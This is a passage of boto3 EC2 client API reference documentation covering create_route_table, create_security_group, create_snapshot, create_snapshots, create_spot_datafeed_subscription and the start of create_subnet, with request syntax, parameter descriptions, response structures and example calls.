'ResponseMetadata': { + '...': '...', + }, +} + +create_route_table(kwargs_) + +Creates a route table for the specified VPC. After you create a route table, you can add routes and associate the table with a subnet. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateRouteTable) + +**Request Syntax** + +response = client.create_route_table( + DryRun=True|False, + VpcId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +* **TagSpecifications** (_list_) -- + + The tags to assign to the route table. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id170)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id172)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'RouteTable': { + 'Associations': [ + { + 'Main': True|False, + 'RouteTableAssociationId': 'string', + 'RouteTableId': 'string', + 'SubnetId': 'string', + 'GatewayId': 'string', + 'AssociationState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failed', + 'StatusMessage': 'string' + } + }, + ], + 'PropagatingVgws': [ + { + 'GatewayId': 'string' + }, + ], + 'RouteTableId': 'string', + 'Routes': [ + { + 'DestinationCidrBlock': 'string', + 'DestinationIpv6CidrBlock': 'string', + 'DestinationPrefixListId': 'string', + 'EgressOnlyInternetGatewayId': 'string', + 'GatewayId': 'string', + 'InstanceId': 'string', + 'InstanceOwnerId': 'string', + 'NatGatewayId': 'string', + 'TransitGatewayId': 'string', + 'LocalGatewayId': 'string', + 'CarrierGatewayId': 'string', + 'NetworkInterfaceId': 'string', + 'Origin': 'CreateRouteTable'|'CreateRoute'|'EnableVgwRoutePropagation', + 'State': 'active'|'blackhole', + 'VpcPeeringConnectionId': 'string' + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcId': 'string', + 'OwnerId': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **RouteTable** _(dict) --_ + + Information about the route table. + + * **Associations** _(list) --_ + + The associations between the route table and one or more subnets or a gateway. + + * _(dict) --_ + + Describes an association between a route table and a subnet or gateway. + + * **Main** _(boolean) --_ + + Indicates whether this is the main route table. + + * **RouteTableAssociationId** _(string) --_ + + The ID of the association. + + * **RouteTableId** _(string) --_ + + The ID of the route table. + + * **SubnetId** _(string) --_ + + The ID of the subnet. A subnet ID is not returned for an implicit association. + + * **GatewayId** _(string) --_ + + The ID of the internet gateway or virtual private gateway. + + * **AssociationState** _(dict) --_ + + The state of the association. + + * **State** _(string) --_ + + The state of the association. + + * **StatusMessage** _(string) --_ + + The status message, if applicable. + + * **PropagatingVgws** _(list) --_ + + Any virtual private gateway (VGW) propagating routes. + + * _(dict) --_ + + Describes a virtual private gateway propagating route. + + * **GatewayId** _(string) --_ + + The ID of the virtual private gateway. + + * **RouteTableId** _(string) --_ + + The ID of the route table. + + * **Routes** _(list) --_ + + The routes in the route table. + + * _(dict) --_ + + Describes a route in a route table. + + * **DestinationCidrBlock** _(string) --_ + + The IPv4 CIDR block used for the destination match. + + * **DestinationIpv6CidrBlock** _(string) --_ + + The IPv6 CIDR block used for the destination match. + + * **DestinationPrefixListId** _(string) --_ + + The prefix of the AWS service. + + * **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of the egress-only internet gateway. + + * **GatewayId** _(string) --_ + + The ID of a gateway attached to your VPC. + + * **InstanceId** _(string) --_ + + The ID of a NAT instance in your VPC. + + * **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + * **NatGatewayId** _(string) --_ + + The ID of a NAT gateway. + + * **TransitGatewayId** _(string) --_ + + The ID of a transit gateway. + + * **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + * **CarrierGatewayId** _(string) --_ + + The ID of the carrier gateway. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + * **Origin** _(string) --_ + + Describes how the route was created. + + * CreateRouteTable - The route was automatically created when the route table was created. + * CreateRoute - The route was manually added to the route table. + * EnableVgwRoutePropagation - The route was propagated by route propagation. + * **State** _(string) --_ + + The state of the route. The blackhole state indicates that the route's target isn't available (for example, the specified gateway isn't attached to the VPC, or the specified NAT instance has been terminated). + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of a VPC peering connection. + + * **Tags** _(list) --_ + + Any tags assigned to the route table. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the route table. + + +**Examples** + +This example creates a route table for the specified VPC. + +response = client.create_route_table( + VpcId='vpc-a01106c2', +) + +print(response) + +Expected Output: + +{ + 'RouteTable': { + 'Associations': [ + ], + 'PropagatingVgws': [ + ], + 'RouteTableId': 'rtb-22574640', + 'Routes': [ + { + 'DestinationCidrBlock': '10.0.0.0/16', + 'GatewayId': 'local', + 'State': 'active', + }, + ], + 'Tags': [ + ], + 'VpcId': 'vpc-a01106c2', + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +create_security_group(kwargs_) + +Creates a security group. + +A security group acts as a virtual firewall for your instance to control inbound and outbound traffic. For more information, see [Amazon EC2 Security Groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) in the _Amazon Elastic Compute Cloud User Guide_ and [Security Groups for Your VPC](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_SecurityGroups.html) in the _Amazon Virtual Private Cloud User Guide_ . + +When you create a security group, you specify a friendly name of your choice. You can have a security group for use in EC2-Classic with the same name as a security group for use in a VPC. However, you can't have two security groups for use in EC2-Classic with the same name or two security groups for use in a VPC with the same name. + +You have a default security group for use in EC2-Classic and a default security group for use in your VPC. If you don't specify a security group when you launch an instance, the instance is launched into the appropriate default security group. A default security group includes a default rule that grants instances unrestricted network access to each other. + +You can add or remove rules from your security groups using AuthorizeSecurityGroupIngress , AuthorizeSecurityGroupEgress , RevokeSecurityGroupIngress , and RevokeSecurityGroupEgress . + +For more information about VPC security group limits, see [Amazon VPC Limits](https://docs.aws.amazon.com/vpc/latest/userguide/amazon-vpc-limits.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSecurityGroup) + +**Request Syntax** + +response = client.create_security_group( + Description='string', + GroupName='string', + VpcId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **Description** (_string_) -- + + **[REQUIRED]** + + A description for the security group. This is informational only. + + Constraints: Up to 255 characters in length + + Constraints for EC2-Classic: ASCII characters + + Constraints for EC2-VPC: a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + +* **GroupName** (_string_) -- + + **[REQUIRED]** + + The name of the security group. + + Constraints: Up to 255 characters in length. Cannot start with sg- . + + Constraints for EC2-Classic: ASCII characters + + Constraints for EC2-VPC: a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + +* **VpcId** (_string_) -- [EC2-VPC] The ID of the VPC. Required for EC2-VPC. +* **TagSpecifications** (_list_) -- + + The tags to assign to the security group. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id175)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id177)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'GroupId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **Tags** _(list) --_ + + The tags assigned to the security group. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +**Examples** + +This example creates a security group for the specified VPC. + +response = client.create_security_group( + Description='My security group', + GroupName='my-security-group', + VpcId='vpc-1a2b3c4d', +) + +print(response) + +Expected Output: + +{ + 'GroupId': 'sg-903004f8', + 'ResponseMetadata': { + '...': '...', + }, +} + +create_snapshot(kwargs_) + +Creates a snapshot of an EBS volume and stores it in Amazon S3. You can use snapshots for backups, to make copies of EBS volumes, and to save data before shutting down an instance. + +When a snapshot is created, any AWS Marketplace product codes that are associated with the source volume are propagated to the snapshot. + +You can take a snapshot of an attached volume that is in use. However, snapshots only capture data that has been written to your EBS volume at the time the snapshot command is issued; this might exclude any data that has been cached by any applications or the operating system. If you can pause any file systems on the volume long enough to take a snapshot, your snapshot should be complete. However, if you cannot pause all file writes to the volume, you should unmount the volume from within the instance, issue the snapshot command, and then remount the volume to ensure a consistent and complete snapshot. You may remount and use your volume while the snapshot status is pending . + +To create a snapshot for EBS volumes that serve as root devices, you should stop the instance before taking the snapshot. + +Snapshots that are taken from encrypted volumes are automatically encrypted. Volumes that are created from encrypted snapshots are also automatically encrypted. Your encrypted volumes and any associated snapshots always remain protected. + +You can tag your snapshots during creation. For more information, see [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information, see [Amazon Elastic Block Store](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html) and [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSnapshot) + +**Request Syntax** + +response = client.create_snapshot( + Description='string', + VolumeId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **Description** (_string_) -- A description for the snapshot. +* **VolumeId** (_string_) -- + + **[REQUIRED]** + + The ID of the EBS volume. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the snapshot during creation. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id180)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id182)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'DataEncryptionKeyId': 'string', + 'Description': 'string', + 'Encrypted': True|False, + 'KmsKeyId': 'string', + 'OwnerId': 'string', + 'Progress': 'string', + 'SnapshotId': 'string', + 'StartTime': datetime(2015, 1, 1), + 'State': 'pending'|'completed'|'error', + 'StateMessage': 'string', + 'VolumeId': 'string', + 'VolumeSize': 123, + 'OwnerAlias': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + Describes a snapshot. + + * **DataEncryptionKeyId** _(string) --_ + + The data encryption key identifier for the snapshot. This value is a unique identifier that corresponds to the data encryption key that was used to encrypt the original volume or snapshot copy. Because data encryption keys are inherited by volumes created from snapshots, and vice versa, if snapshots share the same data encryption key identifier, then they belong to the same volume/snapshot lineage. This parameter is only returned by DescribeSnapshots . + + * **Description** _(string) --_ + + The description for the snapshot. + + * **Encrypted** _(boolean) --_ + + Indicates whether the snapshot is encrypted. + + * **KmsKeyId** _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to protect the volume encryption key for the parent volume. + + * **OwnerId** _(string) --_ + + The AWS account ID of the EBS snapshot owner. + + * **Progress** _(string) --_ + + The progress of the snapshot, as a percentage. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. Each snapshot receives a unique identifier when it is created. + + * **StartTime** _(datetime) --_ + + The time stamp when the snapshot was initiated. + + * **State** _(string) --_ + + The snapshot state. + + * **StateMessage** _(string) --_ + + Encrypted Amazon EBS snapshots are copied asynchronously. If a snapshot copy operation fails (for example, if the proper AWS Key Management Service (AWS KMS) permissions are not obtained) this field displays error state details to help you diagnose why the error occurred. This parameter is only returned by DescribeSnapshots . + + * **VolumeId** _(string) --_ + + The ID of the volume that was used to create the snapshot. Snapshots created by the CopySnapshot action have an arbitrary volume ID that should not be used for any purpose. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiB. + + * **OwnerAlias** _(string) --_ + + The AWS owner alias, from an Amazon-maintained list (amazon ). This is not the user-configured AWS account alias set using the IAM console. + + * **Tags** _(list) --_ + + Any tags assigned to the snapshot. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +**Examples** + +This example creates a snapshot of the volume with a volume ID of vol-1234567890abcdef0 and a short description to identify the snapshot. + +response = client.create_snapshot( + Description='This is my root volume snapshot.', + VolumeId='vol-1234567890abcdef0', +) + +print(response) + +Expected Output: + +{ + 'Description': 'This is my root volume snapshot.', + 'OwnerId': '012345678910', + 'SnapshotId': 'snap-066877671789bd71b', + 'StartTime': datetime(2014, 2, 28, 21, 6, 1, 4, 59, 0), + 'State': 'pending', + 'Tags': [ + ], + 'VolumeId': 'vol-1234567890abcdef0', + 'VolumeSize': 8, + 'ResponseMetadata': { + '...': '...', + }, +} + +create_snapshots(kwargs_) + +Creates crash-consistent snapshots of multiple EBS volumes and stores the data in S3. Volumes are chosen by specifying an instance. Any attached volumes will produce one snapshot each that is crash-consistent across the instance. Boot volumes can be excluded by changing the parameters. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSnapshots) + +**Request Syntax** + +response = client.create_snapshots( + Description='string', + InstanceSpecification={ + 'InstanceId': 'string', + 'ExcludeBootVolume': True|False + }, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False, + CopyTagsFromSource='volume' +) + +Parameters + +* **Description** (_string_) -- A description propagated to every snapshot specified by the instance. +* **InstanceSpecification** (_dict_) -- + + **[REQUIRED]** + + The instance to specify which volumes should be included in the snapshots. + + * **InstanceId** _(string) --_ + + The instance to specify which volumes should be snapshotted. + + * **ExcludeBootVolume** _(boolean) --_ + + Excludes the root volume from being snapshotted. + +* **TagSpecifications** (_list_) -- + + Tags to apply to every snapshot specified by the instance. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id185)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id187)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **CopyTagsFromSource** (_string_) -- Copies the tags from the specified volume to corresponding snapshot. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Snapshots': [ + { + 'Description': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'Encrypted': True|False, + 'VolumeId': 'string', + 'State': 'pending'|'completed'|'error', + 'VolumeSize': 123, + 'StartTime': datetime(2015, 1, 1), + 'Progress': 'string', + 'OwnerId': 'string', + 'SnapshotId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Snapshots** _(list) --_ + + List of snapshots. + + * _(dict) --_ + + Information about a snapshot. + + * **Description** _(string) --_ + + Description specified by the CreateSnapshotRequest that has been applied to all snapshots. + + * **Tags** _(list) --_ + + Tags associated with this snapshot. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **Encrypted** _(boolean) --_ + + Indicates whether the snapshot is encrypted. + + * **VolumeId** _(string) --_ + + Source volume from which this snapshot was created. + + * **State** _(string) --_ + + Current state of the snapshot. + + * **VolumeSize** _(integer) --_ + + Size of the volume from which this snapshot was created. + + * **StartTime** _(datetime) --_ + + Time this snapshot was started. This is the same for all snapshots initiated by the same request. + + * **Progress** _(string) --_ + + Progress this snapshot has made towards completing. + + * **OwnerId** _(string) --_ + + Account id used when creating this snapshot. + + * **SnapshotId** _(string) --_ + + Snapshot id that can be used to describe this snapshot. + + +create_spot_datafeed_subscription(kwargs_) + +Creates a data feed for Spot Instances, enabling you to view Spot Instance usage logs. You can create one data feed per AWS account. For more information, see [Spot Instance data feed](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-data-feeds.html) in the _Amazon EC2 User Guide for Linux Instances_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSpotDatafeedSubscription) + +**Request Syntax** + +response = client.create_spot_datafeed_subscription( + Bucket='string', + DryRun=True|False, + Prefix='string' +) + +Parameters + +* **Bucket** (_string_) -- + + **[REQUIRED]** + + The name of the Amazon S3 bucket in which to store the Spot Instance data feed. For more information about bucket names, see [Rules for bucket naming](https://docs.aws.amazon.com/AmazonS3/latest/dev/BucketRestrictions.html#bucketnamingrules) in the _Amazon S3 Developer Guide_ . + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Prefix** (_string_) -- The prefix for the data feed file names. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SpotDatafeedSubscription': { + 'Bucket': 'string', + 'Fault': { + 'Code': 'string', + 'Message': 'string' + }, + 'OwnerId': 'string', + 'Prefix': 'string', + 'State': 'Active'|'Inactive' + } +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of CreateSpotDatafeedSubscription. + + * **SpotDatafeedSubscription** _(dict) --_ + + The Spot Instance data feed subscription. + + * **Bucket** _(string) --_ + + The name of the Amazon S3 bucket where the Spot Instance data feed is located. + + * **Fault** _(dict) --_ + + The fault codes for the Spot Instance request, if any. + + * **Code** _(string) --_ + + The reason code for the Spot Instance state change. + + * **Message** _(string) --_ + + The message for the Spot Instance state change. + + * **OwnerId** _(string) --_ + + The AWS account ID of the account. + + * **Prefix** _(string) --_ + + The prefix for the data feed files. + + * **State** _(string) --_ + + The state of the Spot Instance data feed subscription. + + +**Examples** + +This example creates a Spot Instance data feed for your AWS account. + +response = client.create_spot_datafeed_subscription( + Bucket='my-s3-bucket', + Prefix='spotdata', +) + +print(response) + +Expected Output: + +{ + 'SpotDatafeedSubscription': { + 'Bucket': 'my-s3-bucket', + 'OwnerId': '123456789012', + 'Prefix': 'spotdata', + 'State': 'Active', + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +create_subnet(kwargs_) + +Creates a subnet in a specified VPC. + +You must specify an IPv4 CIDR block for the subnet. After you create a subnet, you can't change its CIDR block. The allowed block size is between a /16 netmask (65,536 IP addresses) and /28 netmask (16 IP addresses). The CIDR block must not overlap with the CIDR block of an existing subnet in the VPC. + +If you've associated an IPv6 CIDR block with your VPC, you can create a subnet with an IPv6 CIDR block that uses a /64 prefix length. + +Warning + +AWS reserves both the first four and the last IPv4 address in each subnet's CIDR block. They're not available for use. + +If you add more than one subnet to a VPC, they're set up in a star topology with a logical router in the middle. + +When you stop an instance in a subnet, it retains its private IPv4 address. It's therefore possible to have a subnet with no running instances (they're all stopped), but no remaining IP addresses available. + +For more information about subnets, see [Your VPC and Subnets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSubnet) + +**Request Syntax** + +response = client.create_subnet( + TagSpecifications=[ + { + 'ResourceType': 